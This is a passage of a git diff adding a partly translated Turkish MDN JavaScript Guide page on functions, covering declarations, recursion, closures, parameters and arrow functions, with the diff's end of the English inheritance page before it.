values occurs at run time by JavaScript searching the prototype chain of an object to find a value. Because an object has a single associated prototype, JavaScript cannot dynamically inherit from more than one prototype chain.</p> + +<p>In JavaScript, you can have a constructor function call more than one other constructor function within it. This gives the illusion of multiple inheritance. For example, consider the following statements:</p> + +<pre class="brush: js">function Hobbyist(hobby) { + this.hobby = hobby || 'scuba'; +} + +function Engineer(name, projs, mach, hobby) { + this.base1 = WorkerBee; + this.base1(name, 'engineering', projs); + this.base2 = Hobbyist; + this.base2(hobby); + this.machine = mach || ''; +} +Engineer.prototype = new WorkerBee; + +var dennis = new Engineer('Doe, Dennis', ['collabra'], 'hugo'); +</pre> + +<p>Further assume that the definition of <code>WorkerBee</code> is as used earlier in this chapter. In this case, the <code>dennis</code> object has these properties:</p> + +<pre class="brush: js">dennis.name == 'Doe, Dennis'; +dennis.dept == 'engineering'; +dennis.projects == ['collabra']; +dennis.machine == 'hugo'; +dennis.hobby == 'scuba'; +</pre> + +<p>So <code>dennis</code> does get the <code>hobby</code> property from the <code>Hobbyist</code> constructor. However, assume you then add a property to the <code>Hobbyist</code> constructor's prototype:</p> + +<pre class="brush: js">Hobbyist.prototype.equipment = ['mask', 'fins', 'regulator', 'bcd']; +</pre> + +<p>The <code>dennis</code> object does not inherit this new property.</p> + +<div>{{PreviousNext("Web/JavaScript/Guide/Working_with_Objects", "Web/JavaScript/Guide/Using_promises")}}</div> diff --git a/files/tr/web/javascript/guide/fonksiyonlar/index.html b/files/tr/web/javascript/guide/fonksiyonlar/index.html new file mode 100644 index 0000000000..e688bd5dcb --- /dev/null +++ b/files/tr/web/javascript/guide/fonksiyonlar/index.html @@ -0,0 +1,662 @@ +--- +title: Fonksiyonlar +slug: Web/JavaScript/Guide/Fonksiyonlar +tags: + - Başlangıç seviyesi + - Fonksiyonlar + - Rehber +translation_of: Web/JavaScript/Guide/Functions +--- +<div>{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Loops_and_iteration", "Web/JavaScript/Guide/Expressions_and_Operators")}}</div> + +<p class="summary">Foksiyonlar, JavaScript'in en temel yapıtaşlarından biridir. Her bir fonksiyon, bir JavaScript işlemidir—herhangi bir görevi yerine getiren veya değer hesaplayan bir ifade kümesini içerirler. Bir fonksiyonu kullanmak için, fonksiyonu çağıracağınız kısmın faaliyet gösterdiği alanda fonksiyonu tanımlıyor olmanız gerekmektedir.</p> + +<p>Daha fazla bilgi için <a href="/en-US/docs/Web/JavaScript/Reference/Functions">JavaScript fonksiyonları ile ilgili buradaki detaylı kaynağı</a> inceleyebilirsiniz.</p> + +<h2 id="Fonksiyonların_tanımlanması">Fonksiyonların tanımlanması</h2> + +<h3 id="Fonksiyon_tanımlamaları">Fonksiyon tanımlamaları</h3> + +<p>Bir <strong>fonksiyon tanımı</strong> (<strong>fonksiyon betimlemesi</strong>, veya <strong>fonksiyon ifadesi</strong> de denir) <a href="/en-US/docs/Web/JavaScript/Reference/Statements/function" title="function"><code>function</code></a> anahtar kelimesinden sonra aşağıdaki kısımları içerir:</p> + +<ul> + <li>Fonksiyonun adı.</li> + <li>Fonksiyonun aldığı parametreler (parantezler ile çevrili ve virgüller ile birbirinden ayrılmış olmalıdırlar).</li> + <li>Çalıştırılacak JavaScript ifadeleri (süslü parantezler ile çevrilmelidir<font face="Consolas, Liberation Mono, Courier, monospace">)</font>.</li> +</ul> + +<p>Örneğin aşağıdaki kodda <code>karesiniAl</code> isimli basit bir fonksiyon tanımlanmıştır:</p> + +<pre class="brush: js">function <code>karesiniAl</code>(sayı) { + return sayı * sayı; +} +</pre> + +<p><code>karesiniAl</code> fonksiyonu, <code>sayı</code> isminde tek bir parametre içerir. Tek bir ifade içeren fonksiyonda, <code>sayı</code> parametresinin kendisi ile çarpılıp geri döndürülmesi işlemi yapılmıştır. <a href="/en-US/docs/Web/JavaScript/Reference/Statements/return" title="return"><code>return</code></a> ifadesi, fonksiyon tarafından döndürülen değeri belirler.</p> + +<pre class="brush: js">return sayı * sayı; +</pre> + +<p>Sayı türünde olduğu gibi ilkel parametreler fonksiyonlara <strong>değer ile geçilirler</strong>; ilgili değer, fonksiyona parametre olarak geçildiğinde parametre değerinin fonksiyonda ayrı bir kopyası alınır, eğer fonksiyon içerisinde parametre değerinde değişik yapılırsa, bu değişiklik sadece kopyalanan değer üzerinde gerçekleşmiştir, fonksiyona geçilen asıl değer değişmez.</p> + +<p>Eğer bir nesneyi ({{jsxref("Array")}} veya bir kullanıcı tanımlı nesne gibi ilkel olmayan değer) fonksiyona parametre olarak geçerseniz, nesne fonksiyon içerisinde kopyalanmadığı için nesne üzerinde yapılan değişiklikler fonksiyon dışında da korunur. Aşağıdaki örneği inceleyelim:</p> + +<pre class="brush: js">function arabamıDeğiştir(araba) { + araba.markası = "Toyota"; +} + +var arabam = {markası: "Honda", modeli: "Accord", yılı: 1998}; +var x, y; + +x = arabam.markası ; // "Honda" değerini getirir + +arabamıDeğiştir(arabam); +y = arabam.markası; // "Toyota" değeri döndürülür + // (markası özelliği fonksiyon tarafından değiştirilmiştir) +</pre> + +<h3 id="Fonksiyon_ifadeleri">Fonksiyon ifadeleri</h3> + +<p>Yukarıdaki fonksiyon tanımlaması sözdizimsel olarak bir ifade olmasına rağmen, fonksiyonlar ayrıca bir f<strong>onksiyon ifadesi </strong>ile de oluşturulabilirler. Böyle bir fonksiyon <strong>anonim</strong> olabilir; bir isme sahip olmak zorunda değildir. Örnek olarak, matematikteki kare alma fonksiyonu aşağıdaki şekilde tanımlanabilir:</p> + +<pre class="brush: js">var karesiniAl = function(sayı) { return sayı * sayı }; +var x = karesiniAl(4) // x'in değeri 16 olur.</pre> + +<p>Fonksiyon ifadesi ile belirtilen fonksiyon adı, fonksiyonun içerisinde kendisini çağıracak şekilde kullanılabilir:</p> + +<pre class="brush: js">var faktoriyel = function fa(n) { return n < 2 ? 1 : n * fa(n-1) }; + +console.log(faktoriyel(3)); +</pre> + +<p>Fonksiyon ifadeleri, bir fonksiyon diğer fonksiyona parametre olarak geçilirken oldukça elverişlidir. Aşağıdaki örnekte <code>map</code> fonksiyonu tanımlanmış ve ilk parametresinde başka bir fonksiyonu parametre olarak almıştır:</p> + +<pre class="brush: js">function map(f,d) { + var sonuç = [], // Yeni bir dizi + i; + for (i = 0; i != d.length; i++) + sonuç[i] = f(d[i]); + return sonuç; +} +</pre> + +<p>Aşağıdaki kodda kullanımı mevcuttur:</p> + +<pre class="brush: js">var çarpım = function(x) {return x * x * x}; // Fonksiyon ifadesi. +map(çarpım, [0, 1, 2, 5, 10]); +</pre> + +<p>[0, 1, 8, 125, 1000] dizisini döndürür.</p> + +<p>JavaScript'te bir fonksiyon, herhangi bir duruma bağlı olarak oluşturulabilir.Örneğin aşağıdaki fonksiyonda <code>benimFonk</code> fonksiyonu, <code>sayı</code> değeri sadece 0'a eşit olursa tanımlanır:</p> + +<pre class="brush: js">var <code>benimFonk</code>; +if (sayı === 0){ + <code>benimFonk </code>= function(araba) { + araba.marka = "Toyota" + } +}</pre> + +<p>Burada tanımlanan fonksiyonlara ek olarak {{jsxref("Function")}} yapıcısını kullanarak da çalışma zamanında fonksiyon oluşmasını sağlanabilir. Örneğin {{jsxref("eval", "eval()")}} ifadesi gibi.</p> + +<p>Bir nesnenin özelliği olan fonksiyona <strong>metot</strong> adı verilir. Nesneler ve metotlar hakkında daha fazla bilgi için bkz: <a href="/tr/docs/Web/JavaScript/Guide/Working_with_Objects" title="en-US/docs/JavaScript/Guide/Working with Objects">Nesneler ile çalışma</a>.</p> + +<h2 id="Fonksiyonları_çağırma">Fonksiyonları çağırma</h2> + +<p>Bir fonksiyonu tanımlamakla o fonksiyon çalışmaz. Fonksiyonu tanımlamak kısaca, o fonksiyona bir isim vermek ve o fonkisyon çağırıldığında bizim için hangi eylemleri yapması gerektiğini belirtmektir. Fonksiyonu <strong>çağırmak</strong>, bu belirlenmiş eylemleri bizim o fonksiyona verdiğimiz parametrelerin de kullanılmasıyla gerçekleştirir. Örneğin, <code>karesiniAl </code>diye bir fonksiyon tanımladığınızda, o fonksiyonu aşağıdaki gibi çağırabilirsiniz:</p> + +<pre class="brush: js"><code>karesiniAl</code>(5); +</pre> + +<p>Bu ifade, fonksiyona parametre olarak 5 sayısını yollayarak çağırır. Fonksiyon, tanımlanırken belirttiğimiz eylemleri yapar ve bize 25 değerini döndürür.</p> + +<p>Fonksiyonlar çağrıldıklarında bir alanda olmalıdılar, fakat fonksiyon bildirimi kaldırılabilir, örnekteki gibi:</p> + +<pre class="brush: js">console.log(square(5)); +/* ... */ +function square(n) { return n * n } +</pre> + +<p>Bir fonksiyonun alanı, bildirilen işlevdir, veya tüm program üst seviyede bildirilmişse.</p> + +<div class="note"> +<p><strong>Not:</strong> Bu, yalnızca yukarıdaki sözdizimini (i.e. <code>function benimFonk(){}</code>) işlevini kullanarak işlevi tanımlarken çalışır. Aşağıdaki kod çalışmayacak. Yani, işlev kaldırma sadece işlev bildirimi ile çalışır ve işlev ifadesiyle çalışamaz.</p> +</div> + +<pre class="brush: js example-bad">console.log(square); // square is hoisted with an initial value undefined. +console.log(square(5)); // TypeError: square is not a function +var square = function (n) { + return n * n; +} +</pre> + +<p>Bir fonksiyonun argümanları karakter dizileri ve sayılarla sınırlı değildir. Tüm nesneleri bir fonksiyona aktarabilirsiniz. <code>show_props()</code> fonksiyonu (<a href="/en-US/docs/Web/JavaScript/Guide/Working_with_Objects#Objects_and_Properties" title="https://developer.mozilla.org/en-US/docs/JavaScript/Guide/Working_with_Objects#Objects_and_Properties">Working with objects</a> bölümünde tanımlanmıştır.) nesneyi argüman olarak alan bir fonksiyon örneğidir.</p> + +<p>Bir fonksiyon kendini çağırabilir. Örneğin, burada faktöriyelleri yinelemeli olarak hesaplayan bir fonksiyon var.</p> + +<pre class="brush: js">function factorial(n){ + if ((n === 0) || (n === 1)) + return 1; + else + return (n * factorial(n - 1)); +} +</pre> + +<p>Daha sonra bir ile beş arasındaki faktöriyelleri şu şekilde hesaplayabilirsiniz:</p> + +<pre class="brush: js">var a, b, c, d, e; +a = factorial(1); // a gets the value 1 +b = factorial(2); // b gets the value 2 +c = factorial(3); // c gets the value 6 +d = factorial(4); // d gets the value 24 +e = factorial(5); // e gets the value 120 +</pre> + +<p>Fonksiyonları çağırmanın başka yolları da var. Bir fonksiyonun dinamik olarak çağrılması gerektiği veya bir fonksiyonun argümanlarının sayısının değişebileceği veya fonksiyon çağrısının içeriğinin çalışma zamanında belirlenen belirli bir nesneye ayarlanması gerektiği durumlar vardır. Fonksiyonların kendileri nesneler olduğu ve bu nesnelerin sırasıyla yöntemleri olduğu anlaşılıyor (bkz. {{Jsxref ("Function")}} nesnesi). Bunlardan biri, {{jsxref ("Function.apply", "application ()")}} yöntemi, bu amaca ulaşmak için kullanılabilir.</p> + +<h2 class="deki-transform" id="Fonksiyon_Kapsamı">Fonksiyon Kapsamı</h2> + +<p class="tw-data-text tw-ta tw-text-small" dir="ltr" id="tw-target-text" style="text-align: left; height: 408px;"><span lang="tr">Bir fonksiyon içinde tanımlanmış değişkenlere, fonksiyonun dışındaki herhangi bir yerden erişilemez, çünkü değişken sadece fonksiyon kapsamında tanımlanır. Bununla birlikte, bir fonksiyon tanımlandığı kapsamda tanımlanan tüm değişkenlere ve fonksiyonlara erişebilir. Başka bir deyişle, global kapsamda tanımlanan bir fonksiyon, global kapsamda tanımlanan tüm değişkenlere erişebilir. Başka bir fonksiyonun içinde tanımlanmış bir fonksiyon, ana fonksiyonunda tanımlanan tüm değişkenlere ve ana fonksiyonun erişebildiği herhangi bir değişkene de erişebilir.</span></p> + +<pre class="brush: js">// The following variables are defined in the global scope +var num1 = 20, + num2 = 3, + name = "Chamahk"; + +// This function is defined in the global scope +function multiply() { + return num1 * num2; +} + +multiply(); // Returns 60 + +// A nested function example +function getScore () { + var num1 = 2, + num2 = 3; + + function add() { + return name + " scored " + (num1 + num2); + } + + return add(); +} + +getScore(); // Returns "Chamahk scored 5"</pre> + +<h2 id="Kapsam_ve_fonksiyon_yığını">Kapsam ve fonksiyon yığını</h2> + +<h3 id="Yineleme">Yineleme</h3> + +<p class="tw-data-text tw-ta tw-text-small" id="tw-target-text" style="text-align: left; height: 96px;"><span lang="tr">Bir fonksiyon kendisine başvurabilir ve kendisini arayabilir. Bir işlevin kendisine başvurması için üç yol vardır:</span></p> + +<p> </p> + +<ol> + <li>fonksiyonun adı</li> + <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Functions/arguments/callee">arguments.callee</a></code></li> + <li> + <p class="tw-data-text tw-ta tw-text-medium" dir="ltr" id="tw-target-text" style="text-align: left; height: 72px;"><span lang="tr">fonksiyona başvuran bir kapsam içi değişken</span> </p> + </li> +</ol> + +<div class="oSioSc"> +<div id="tw-target"> +<div class="gsrt tw-ta-container tw-nfl" id="tw-target-text-container"> +<p class="tw-data-text tw-ta tw-text-small" dir="ltr" id="tw-target-text" style="text-align: left; height: 48px;"><span lang="tr">Örneğin, aşağıdaki işlev tanımını göz önünde bulundurun:</span></p> +</div> +</div> +</div> + +<p> </p> + +<pre class="brush: js">var foo = function bar() { + // statements go here +}; +</pre> + +<p>Fonksiyon gövdesinde aşağıdakilerden hepsi eşdeğerdir.</p> + +<ol> + <li><code>bar()</code></li> + <li><code>arguments.callee()</code></li> + <li><code>foo()</code></li> +</ol> + +<p class="tw-data-text tw-ta tw-text-small" dir="ltr" id="tw-target-text" style="text-align: left; height: 216px;"><span lang="tr">Kendisini çağıran fonksiyona özyinelemeli fonksiyon denir. Bazı açılardan, özyineleme bir döngüye benzer. Her ikisi de aynı kodu birkaç kez uygular ve her ikisi de bir koşul gerektirir (bu, sonsuz bir döngüden kaçınmak veya daha doğrusu bu durumda sonsuz özyinelemeden kaçınmak için). Örneğin, aşağıdaki döngü:</span></p> + +<pre class="brush: js">var x = 0; +while (x < 10) { // "x < 10" is the loop condition + // do stuff + x++; +} +</pre> + +<p><span lang="tr">özyinelemeli bir fonksiyona ve bu fonksiyonun çağrısına dönüştürülebilir:</span></p> + +<pre class="brush: js">function loop(x) { + if (x >= 10) // "x >= 10" is the exit condition (equivalent to "!(x < 10)") + return; + // do stuff + loop(x + 1); // the recursive call +} +loop(0); +</pre> + +<p><span lang="tr">Ancak, bazı algoritmalar basit yinelemeli döngüler olamaz. Örneğin, bir ağaç yapısının tüm düğümlerinin </span>(örneğin <a href="/en-US/docs/DOM">DOM</a>) <span lang="tr">alınması özyineleme kullanılarak daha kolay yapılır:</span></p> + +<pre class="brush: js">function walkTree(node) { + if (node == null) // + return; + // do something with node + for (var i = 0; i < node.childNodes.length; i++) { + walkTree(node.childNodes[i]); + } +} +</pre> + +<p><span lang="tr">Fonksiyon </span><code>döngüsü</code><span lang="tr"> ile karşılaştırıldığında, her özyinelemeli çağrının kendisi burada birçok özyinelemeli çağrı yapar.</span></p> + +<p><span lang="tr">Herhangi bir özyinelemeli algoritmayı özyinelemeli olmayan bir algoritmaya dönüştürmek mümkündür, ancak çoğu zaman mantık çok daha karmaşıktır ve bunu yapmak bir yığının kullanılmasını gerektirir. Aslında, özyinelemenin kendisi bir yığın kullanır: Fonksiyon yığını.</span></p> + +<p><span lang="tr">Yığın benzeri davranış aşağıdaki örnekte görülebilir:</span></p> + +<pre class="brush: js">function foo(i) { + if (i < 0) + return; + console.log('begin:' + i); + foo(i - 1); + console.log('end:' + i); +} +foo(3); + +// Output: + +// begin:3 +// begin:2 +// begin:1 +// begin:0 +// end:0 +// end:1 +// end:2 +// end:3</pre> + +<h3 id="Nested_functions_and_closures">Nested functions and closures</h3> + +<p>You can nest a function within a function. The nested (inner) function is private to its containing (outer) function. It also forms a <em>closure</em>. A closure is an expression (typically a function) that can have free variables together with an environment that binds those variables (that "closes" the expression).</p> + +<p>Since a nested function is a closure, this means that a nested function can "inherit" the arguments and variables of its containing function. In other words, the inner function contains the scope of the outer function.</p> + +<p>To summarize:</p> + +<ul> + <li>The inner function can be accessed only from statements in the outer function.</li> +</ul> + +<ul> + <li>The inner function forms a closure: the inner function can use the arguments and variables of the outer function, while the outer function cannot use the arguments and variables of the inner function.</li> +</ul> + +<p>The following example shows nested functions:</p> + +<pre class="brush: js">function addSquares(a,b) { + function square(x) { + return x * x; + } + return square(a) + square(b); +} +a = addSquares(2,3); // returns 13 +b = addSquares(3,4); // returns 25 +c = addSquares(4,5); // returns 41 +</pre> + +<p>Since the inner function forms a closure, you can call the outer function and specify arguments for both the outer and inner function:</p> + +<pre class="brush: js">function outside(x) { + function inside(y) { + return x + y; + } + return inside; +} +fn_inside = outside(3); // Think of it like: give me a function that adds 3 to whatever you give it +result = fn_inside(5); // returns 8 + +result1 = outside(3)(5); // returns 8 +</pre> + +<h3 id="Preservation_of_variables">Preservation of variables</h3> + +<p>Notice how <code>x</code> is preserved when <code>inside</code> is returned. A closure must preserve the arguments and variables in all scopes it references. Since each call provides potentially different arguments, a new closure is created for each call to outside. The memory can be freed only when the returned <code>inside</code> is no longer accessible.</p> + +<p>This is not different from storing references in other objects, but is often less obvious because one does not set the references directly and cannot inspect them.</p> + +<h3 id="Multiply-nested_functions">Multiply-nested functions</h3> + +<p>Functions can be multiply-nested, i.e. a function (A) containing a function (B) containing a function (C). Both functions B and C form closures here, so B can access A and C can access B. In addition, since C can access B which can access A, C can also access A. Thus, the closures can contain multiple scopes; they recursively contain the scope of the functions containing it. This is called <em>scope chaining</em>. (Why it is called "chaining" will be explained later.)</p> + +<p>Consider the following example:</p> + +<pre class="brush: js">function A(x) { + function B(y) { + function C(z) { + console.log(x + y + z); + } + C(3); + } + B(2); +} +A(1); // logs 6 (1 + 2 + 3) +</pre> + +<p>In this example, <code>C</code> accesses <code>B</code>'s <code>y</code> and <code>A</code>'s <code>x</code>. This can be done because:</p> + +<ol> + <li><code>B</code> forms a closure including <code>A</code>, i.e. <code>B</code> can access <code>A</code>'s arguments and variables.</li> + <li><code>C</code> forms a closure including <code>B</code>.</li> + <li>Because <code>B</code>'s closure includes <code>A</code>, <code>C</code>'s closure includes <code>A</code>, <code>C</code> can access both <code>B</code> <em>and</em> <code>A</code>'s arguments and variables. In other words, <code>C</code> <em>chains</em> the scopes of <code>B</code> and <code>A</code> in that order.</li> +</ol> + +<p>The reverse, however, is not true. <code>A</code> cannot access <code>C</code>, because <code>A</code> cannot access any argument or variable of <code>B</code>, which <code>C</code> is a variable of. Thus, <code>C</code> remains private to only <code>B</code>.</p> + +<h3 id="Name_conflicts">Name conflicts</h3> + +<p>When two arguments or variables in the scopes of a closure have the same name, there is a <em>name conflict</em>. More inner scopes take precedence, so the inner-most scope takes the highest precedence, while the outer-most scope takes the lowest. This is the scope chain. The first on the chain is the inner-most scope, and the last is the outer-most scope. Consider the following:</p> + +<pre class="brush: js">function outside() { + var x = 10; + function inside(x) { + return x; + } + return inside; +} +result = outside()(20); // returns 20 instead of 10 +</pre> + +<p>The name conflict happens at the statement <code>return x</code> and is between <code>inside</code>'s parameter <code>x</code> and <code>outside</code>'s variable <code>x</code>. The scope chain here is {<code>inside</code>, <code>outside</code>, global object}. Therefore <code>inside</code>'s <code>x</code> takes precedences over <code>outside</code>'s <code>x</code>, and 20 (<code>inside</code>'s <code>x</code>) is returned instead of 10 (<code>outside</code>'s <code>x</code>).</p> + +<h2 id="Closures">Closures</h2> + +<p>Closures are one of the most powerful features of JavaScript. JavaScript allows for the nesting of functions and grants the inner function full access to all the variables and functions defined inside the outer function (and all other variables and functions that the outer function has access to). However, the outer function does not have access to the variables and functions defined inside the inner function. This provides a sort of security for the variables of the inner function. Also, since the inner function has access to the scope of the outer function, the variables and functions defined in the outer function will live longer than the outer function itself, if the inner function manages to survive beyond the life of the outer function. A closure is created when the inner function is somehow made available to any scope outside the outer function.</p> + +<pre class="brush: js">var pet = function(name) { // The outer function defines a variable called "name" + var getName = function() { + return name; // The inner function has access to the "name" variable of the outer function + } + return getName; // Return the inner function, thereby exposing it to outer scopes +} +myPet = pet("Vivie"); + +myPet(); // Returns "Vivie" +</pre> + +<p>It can be much more complex than the code above. An object containing methods for manipulating the inner variables of the outer function can be returned.</p> + +<pre class="brush: js">var createPet = function(name) { + var sex; + + return { + setName: function(newName) { + name = newName; + }, + + getName: function() { + return name; + }, + + getSex: function() { + return sex; + }, + + setSex: function(newSex) { + if(typeof newSex === "string" && (newSex.toLowerCase() === "male" || newSex.toLowerCase() === "female")) { + sex = newSex; + } + } + } +} + +var pet = createPet("Vivie"); +pet.getName(); // Vivie + +pet.setName("Oliver"); +pet.setSex("male"); +pet.getSex(); // male +pet.getName(); // Oliver +</pre> + +<p>In the code above, the <code>name</code> variable of the outer function is accessible to the inner functions, and there is no other way to access the inner variables except through the inner functions. The inner variables of the inner functions act as safe stores for the outer arguments and variables. They hold "persistent", yet secure, data for the inner functions to work with. The functions do not even have to be assigned to a variable, or have a name.</p> + +<pre class="brush: js">var getCode = (function(){ + var secureCode = "0]Eal(eh&2"; // A code we do not want outsiders to be able to modify... + + return function () { + return secureCode; + }; +})(); + +getCode(); // Returns the secureCode +</pre> + +<p>There are, however, a number of pitfalls to watch out for when using closures. If an enclosed function defines a variable with the same name as the name of a variable in the outer scope, there is no way to refer to the variable in the outer scope again.</p> + +<pre class="brush: js">var createPet = function(name) { // Outer function defines a variable called "name" + return { + setName: function(name) { // Enclosed function also defines a variable called "name" + name = name; // ??? How do we access the "name" defined by the outer function ??? + } + } +} +</pre> + +<p>The magical <code>this</code> variable is very tricky in closures. They have to be used carefully, as what <code>this</code> refers to depends completely on where the function was called, rather than where it was defined.</p> + +<h2 id="Using_the_arguments_object">Using the arguments object</h2> + +<p>The arguments of a function are maintained in an array-like object. Within a function, you can address the arguments passed to it as follows:</p> + +<pre class="brush: js">arguments[i] +</pre> + +<p>where <code>i</code> is the ordinal number of the argument, starting at zero. So, the first argument passed to a function would be <code>arguments[0]</code>. The total number of arguments is indicated by <code>arguments.length</code>.</p> + +<p>Using the <code>arguments</code> object, you can call a function with more arguments than it is formally declared to accept. This is often useful if you don't know in advance how many arguments will be passed to the function. You can use <code>arguments.length</code> to determine the number of arguments actually passed to the function, and then access each argument using the <code>arguments</code> object.</p> + +<p>For example, consider a function that concatenates several strings. The only formal argument for the function is a string that specifies the characters that separate the items to concatenate. The function is defined as follows:</p> + +<pre class="brush: js">function myConcat(separator) { + var result = ""; // initialize list + var i; + // iterate through arguments + for (i = 1; i < arguments.length; i++) { + result += arguments[i] + separator; + } + return result; +} +</pre> + +<p>You can pass any number of arguments to this function, and it concatenates each argument into a string "list":</p> + +<pre class="brush: js">// returns "red, orange, blue, " +myConcat(", ", "red", "orange", "blue"); + +// returns "elephant; giraffe; lion; cheetah; " +myConcat("; ", "elephant", "giraffe", "lion", "cheetah"); + +// returns "sage. basil. oregano. pepper. parsley. " +myConcat(". ", "sage", "basil", "oregano", "pepper", "parsley"); +</pre> + +<div class="note"> +<p><strong>Note:</strong> The <code>arguments</code> variable is "array-like", but not an array. It is array-like in that is has a numbered index and a <code>length</code> property. However, it does not possess all of the array-manipulation methods.</p> +</div> + +<p>See the {{jsxref("Function")}} object in the JavaScript reference for more information.</p> + +<h2 id="Function_parameters">Function parameters</h2> + +<p>Starting with ECMAScript 6, there are two new kinds of parameters: default parameters and rest parameters.</p> + +<h3 id="Default_parameters">Default parameters</h3> + +<p>In JavaScript, parameters of functions default to <code>undefined</code>. However, in some situations it might be useful to set a different default value. This is where default parameters can help.</p> + +<p>In the past, the general strategy for setting defaults was to test parameter values in the body of the function and assign a value if they are <code>undefined</code>. If in the following example, no value is provided for <code>b</code> in the call, its value would be <code>undefined</code> when evaluating <code>a*b</code> and the call to <code>multiply</code> would have returned <code>NaN</code>. However, this is caught with the second line in this example:</p> + +<pre class="brush: js">function multiply(a, b) { + b = typeof b !== 'undefined' ? b : 1; + + return a*b; +} + +multiply(5); // 5 +</pre> + +<p>With default parameters, the check in the function body is no longer necessary. Now, you can simply put <code>1</code> as the default value for <code>b</code> in the function head:</p> + +<pre class="brush: js">function multiply(a, b = 1) { + return a*b; +} + +multiply(5); // 5</pre> + +<p>Fore more details, see <a href="/en-US/docs/Web/JavaScript/Reference/Functions/Default_parameters">default parameters</a> in the reference.</p> + +<h3 id="Rest_parameters">Rest parameters</h3> + +<p>The <a href="/en-US/docs/Web/JavaScript/Reference/Functions/rest_parameters">rest parameter</a> syntax allows us to represent an indefinite number of arguments as an array. In the example, we use the rest parameters to collect arguments from the second one to the end. We then multiply them by the first one. This example is using an arrow function, which is introduced in the next section.</p> + +<pre class="brush: js">function multiply(multiplier, ...theArgs) { + return theArgs.map(x => multiplier * x); +} + +var arr = multiply(2, 1, 2, 3); +console.log(arr); // [2, 4, 6]</pre> + +<h2 id="Arrow_functions">Arrow functions</h2> + +<p>An <a href="/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions">arrow function expression</a> (also known as <strong>fat arrow function</strong>) has a shorter syntax compared to function expressions and lexically binds the <code>this</code> value. Arrow functions are always anonymous. See also this hacks.mozilla.org blog post: "<a href="https://hacks.mozilla.org/2015/06/es6-in-depth-arrow-functions/">ES6 In Depth: Arrow functions</a>".</p> + +<p>Two factors influenced the introduction of arrow functions: shorter functions and lexical <code>this</code>.</p> + +<h3 id="Shorter_functions">Shorter functions</h3> + +<p>In some functional patterns, shorter functions are welcome. Compare:</p> + +<pre class="brush: js">var a = [ + "Hydrogen", + "Helium", + "Lithium", + "Beryllium" +]; + +var a2 = a.map(function(s){ return s.length }); + +console.log(a2); // logs [ 8, 6, 7, 9 ] + +var a3 = a.map( s => s.length ); + +console.log(a3); // logs [ 8, 6, 7, 9 ] +</pre> + +<h3 id="Lexical_this">Lexical <code>this</code></h3> + +<p>Until arrow functions, every new function defined its own <a href="/en-US/docs/Web/JavaScript/Reference/Operators/this">this</a> value (a new object in case of a constructor, undefined in strict mode function calls, the context object if the function is called as an "object method", etc.). This proved to be annoying with an object-oriented style of programming.</p> + +<pre class="brush: js">function Person() { + // The Person() constructor defines `this` as itself. + this.age = 0; + + setInterval(function growUp() { + // In nonstrict mode, the growUp() function defines `this` + // as the global object, which is different from the `this` + // defined by the Person() constructor. + this.age++; + }, 1000); +} + +var p = new Person();</pre> + +<p>In ECMAScript 3/5, this issue was fixed by assigning the value in <code>this</code> to a variable that could be closed over.</p> + +<pre class="brush: js">function Person() { + var self = this; // Some choose `that` instead of `self`. + // Choose one and be consistent. + self.age = 0; + + setInterval(function growUp() { + // The callback refers to the `self` variable of which + // the value is the expected object. + self.age++; + }, 1000); +}</pre> + +<p>Alternatively, a <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/bind">bound function</a> could be created so that the proper <code>this</code> value would be passed to the <code>growUp()</code> function.</p> + +<p>Arrow functions capture the <code>this</code> value of the enclosing context, so the following code works as expected.</p> + +<pre class="brush: js">function Person(){ + this.age = 0; + + setInterval(() => { + this.age++; // |this| properly refers to the person object + }, 1000); +} + +var p = new Person();</pre> + +<h2 id="Predefined_functions">Predefined functions</h2> + +<p>JavaScript has several top-level, built-in functions:</p> + +<dl> + <dt>{{jsxref("Global_Objects/eval", "eval()")}}</dt> + <dd> + <p>The <code><strong>eval()</strong></code> method evaluates JavaScript code represented as a string.</p> + </dd> + <dt>{{jsxref("Global_Objects/uneval", "uneval()")}} {{non-standard_inline}}</dt> + <dd> + <p>The <code><strong>uneval()</strong></code> method creates a string representation of the source code of an {{jsxref("Object")}}.</p> + </dd> + <dt>{{jsxref("Global_Objects/isFinite", "isFinite()")}}</dt> + <dd> + <p>The global <code><strong>isFinite()</strong></code> function determines whether the passed value is a finite number. If needed, the parameter is first converted to a number.</p> + </dd> + <dt>{{jsxref("Global_Objects/isNaN", "isNaN()")}}</dt> + <dd> + <p>The <code><strong>isNaN()</strong></code> function determines whether a value is {{jsxref("Global_Objects/NaN", "NaN")}} or not. Note: coercion inside the <code>isNaN</code> function has <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/isNaN#Description">interesting</a> rules; you may alternatively want to use {{jsxref("Number.isNaN()")}}, as defined in ECMAScript 6, or you can use <code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/typeof">typeof</a></code> to determine if the value is Not-A-Number.</p> + </dd> + <dt>{{jsxref("Global_Objects/parseFloat", "parseFloat()")}}</dt> + <dd> + <p>The <code><strong>parseFloat()</strong></code> function parses a string argument and returns a floating point number.</p> + </dd> + <dt>{{jsxref("Global_Objects/parseInt", "parseInt()")}}</dt> + <dd> + <p>The <code><strong>parseInt()</strong></code> function parses a string argument and returns an integer of the specified radix (the base in mathematical numeral systems).</p> + </dd> + <dt>{{jsxref("Global_Objects/decodeURI", "decodeURI()")}}</dt> + <dd> + <p>The <code><strong>decodeURI()</strong></code> function decodes a Uniform Resource Identifier (URI) previously created by {{jsxref("Global_Objects/encodeURI", "encodeURI")}} or by a similar routine.</p> + </dd> + <dt>{{jsxref("Global_Objects/decodeURIComponent", "decodeURIComponent()")}}</dt> + <dd> + <p>The <code><strong>decodeURIComponent()</strong></code> method decodes a Uniform Resource Identifier (URI) component previously created by {{jsxref("Global_Objects/encodeURIComponent", "encodeURIComponent")}} or by a similar routine.</p> + </dd> + <dt>{{jsxref("Global_Objects/encodeURI", "encodeURI()")}}</dt> + <dd> + <p>The <code><strong>encodeURI()</strong></code> method encodes a Uniform Resource Identifier (URI) by replacing each instance of certain characters by one, two, three, or four escape sequences representing the UTF-8 encoding of the character (will only be four escape sequences for characters composed of two "surrogate" characters).</p> + </dd> + <dt>{{jsxref("Global_Objects/encodeURIComponent", "encodeURIComponent()")}}</dt> + <dd> + <p>The <code><strong>encodeURIComponent()</strong></code> method encodes a Uniform Resource Identifier (URI) component by replacing each instance of certain characters by one, two, three, or four escape sequences representing the 